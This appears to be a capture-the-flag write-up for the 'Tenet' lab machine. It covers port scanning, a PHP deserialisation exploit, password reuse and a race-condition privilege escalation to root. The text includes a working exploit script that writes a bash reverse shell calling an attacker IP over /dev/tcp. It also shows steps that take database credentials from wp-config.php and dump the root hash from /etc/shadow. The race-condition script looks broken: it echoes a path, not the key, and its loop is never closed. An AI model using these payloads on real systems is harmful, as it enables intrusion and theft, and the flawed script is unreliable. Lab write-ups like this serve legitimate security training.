Recon
- Port scan:
$ nmap -p- 10.10.10.223 > ports.nmap
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http
- Targeted scan:
$ nmap -sC -sV -p 22,80 10.10.10.223 > targeted.nmap
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA) | 256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA) |_ 256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-server-header: Apache/2.4.29 (Ubuntu) |_http-title: Apache2 Ubuntu Default Page: It works Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
SSH, Apache HTTP.
Enumeration
HTTP Enumeration
- Port 80 is displaying the default Apache setup page.
- Adding virtual hostnames to
/etc/hosts
file:10.10.10.223 tenet.htb
- Navigating to http://tenet.htb/ redirects to a WordPress blog, comment function is likely not vulnerable to XSS.
- Post by user "protagonist" on December 16:
"This Is Where Our Worlds Collide" We’re looking for beta testers of our new time-management software, ‘Rotas’ ‘Rotas’ will hopefully be coming to market late 2021, pending rigorous QA from our developers, and you! For more information regarding opting-in, watch this space.
- We learn that the developers are building a new time-management software named "Rotas".
- The user "protagonist" is likely the site administrator.
- Another post by user "protagonist" on December 16:
"Migration" We’re moving our data over from a flat file structure to something a bit more substantial. Please bear with us whilst we get one of our devs on the migration, which shouldn’t take too long. Thank you for your patience
- We also find out that data is being migrated from a flat file structure to something "substantial".
- Under this post, we also see a user "neil" commenting on the same day:
did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?!
- Presumably a developer involved in the project, Neil is warning that a
sator.php
file and its backup may not be removed yet, and that the migration program is incomplete.
Exploitation
- After searching for the
sator.php
file on the http://tenet.htb/ host for a long time, turns out it was located in http://10.10.10.223/sator.php. - Output upon visiting the page:
[+] Grabbing users from text file [] Database updated
- Neil also mentioned a backup for the
sator.php
file. Since there isn't a/backup/
directory on the site, let's try adding the.bak
file extension. - Source file of
sator.php
found on http://10.10.10.223/sator.php.bak:<?php class DatabaseExport { public $user_file = 'users.txt'; public $data = ''; public function update_db() { echo '[+] Grabbing users from text file <br>'; $this-> data = 'Success'; } public function __destruct() { file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data); echo '[] Database updated <br>'; // echo 'Gotta get this working properly...'; } } $input = $_GET['arepo'] ?? ''; $databaseupdate = unserialize($input); $app = new DatabaseExport; $app -> update_db(); ?>
- Magic method
__destruct()
is usingfile_put_contents()
, which we can abuse to write arbitrary files via a PHP deserialisation attack. - Method syntax:
file_put_contents(file_name, contentstring, flag)
- Concatenated path to the location of
users.txt
:__DIR__ . '/' . $this->user_file
- The
users.txt
file is created in the same directory at http://10.10.10.223/users.txt, containing the string "Success". - We can manipulate the unused
$input
variable by sending serialised data through thearepo
parameter in a GET request. - As the input gets deserialized, we create a new instance of
DatabaseExport
and callfile_put_contents()
with our specified file name and content, or in this case - a reverse shell on the webserver. - Creating
exploit.php
:<?php class DatabaseExport { public $user_file = 'reverse.php'; public $data = '<?php exec("/bin/bash -c \'bash -i > /dev/tcp/10.10.14.103/6969 0>&1\'");?>'; public function __destruct() { file_put_contents(__DIR__ . '/' . $this->user_file, $this->data); } } echo "Serialising payload with parameters:\n"; $obj = new DatabaseExport(); echo "\$user_file: " . $obj->user_file . "\n"; echo "\$data: " . $obj->data . "\n\n"; $payload = urlencode(serialize($obj)); echo "Encoded payload:\n" . $payload . "\n\n"; echo "Sending payload to sator.php...\n"; file_get_contents("http://10.10.10.223/sator.php?arepo=" . $payload); echo "Getting reverse shell...\n"; file_get_contents("http://10.10.10.223/reverse.php"); echo "Done!\n"; ?>
- Listen for reverse shell with
nc
:$ nc -lvnp 6969
- Run
exploit.php
through a PHP interpreter, and we should get a shell as www-data:$ whoami && id
www-data uid=33(www-data) gid=33(www-data) groups=33(www-data)
- To make things easier for us, let's upgrade our reverse shell to an interactive shell:
$ echo "import pty; pty.spawn('/bin/bash')" > /tmp/shell.py
$ python3 /tmp/shell.py
- Since this is a WordPress site, we can extract the MySQL server credentials from
~/wordpress/wp-config.php
:define( 'DB_USER', 'neil' ); define( 'DB_PASSWORD', 'Opera2112' );
- Found MySQL credentials:
neil:Opera2112
- Trying to SSH in as neil:
$ ssh [email protected]
- Looks like Neil is lazy and reused his password for his SSH credentials:
$ whoami && id
neil uid=1001(neil) gid=1001(neil) groups=1001(neil)
- Get user flag!
Privilege Escalation
- Check sudo permissions:
$ sudo -l
User neil may run the following commands on tenet: (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh
- Neil can run
enableSSH.sh
as root without password. - Usually, a privileged script like this can be leveraged to execute arbitrary privileged code, but in this case, the file is owned by root and we cannot modify it as neil.
- Reading the contents of
enableSSH.sh
:#!/bin/bash checkAdded() { sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3) if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then /bin/echo "Successfully added $sshName to authorized_keys file!" else /bin/echo "Error in adding $sshName to authorized_keys file!" fi } checkFile() { if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then /bin/echo "Error in creating key file!" if [[ -f $1 ]]; then /bin/rm $1; fi exit 1 fi } addKey() { tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX) (umask 110; touch $tmpName) /bin/echo $key >>$tmpName checkFile $tmpName /bin/cat $tmpName >>/root/.ssh/authorized_keys /bin/rm $tmpName } key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu" addKey checkAdded
- The script is used to add keys to the root user's
authorized_keys
file, and makes use of a temp file to store the key before appending to it. - This method of updating the SSH keys is vulnerable to a race condition attack, as the
$key
variable is passed around several times, before the temp file is appended toauthorized_keys
. - This means we can swap in our own SSH public key immediately within the timeframe of the key being copied to the temp file and the file concatenated to
authorized_keys
, to grant ourselves SSH access to root. - Create a simple script
rc.sh
:while true do echo /tmp/id_rsa.pub | tee /tmp/ssh-*
- Send our public SSH key to the target machine:
$ nc -lvnp 6969 > /tmp/id_rsa.pub < /dev/null
$ cat ~/.ssh/id_rsa.pub > /dev/tcp/10.10.10.223/6969
- Make the exploit script executable:
$ chmod +x rc.sh
- Open a second SSH session, and run the exploit script. At the same time, on the primary session, execute
enableSSH.sh
for a few times. - If the race condition attack succeeded, our public key should now be in the root user's
authorized_keys
file, and we can simply SSH in as root:$ ssh [email protected]
- No password was prompted, and we have successfully logged in as root.
$ whoami && id
root uid=0(root) gid=0(root) groups=0(root)
- Get root flag!
Persistence
- Get root user's hash from
/etc/shadow
:root:$6$hfxS53gy$YDGYBt.0P7G3TpKB0qo.gkUNClP2CRMHyCNU/2aVjQSPN3mxpL4hs7XYX1XNM5mSEGiASvizwxTV0DToS/wDV.:18606:0:99999:7:::
- Clean up after ourselves and delete any residual files:
$ rm /tmp/id_rsa.pub /tmp/rc.sh
Resources
- https://medium.com/swlh/exploiting-php-deserialization-56d71f03282a
- https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf
- https://book.hacktricks.xyz/pentesting-web/deserialization
- https://serverpilot.io/docs/where-to-find-your-database-credentials-in-wordpress/
- http://www.cis.syr.edu/~wedu/Teaching/IntrCompSec/LectureNotes_New/Race_Condition.pdf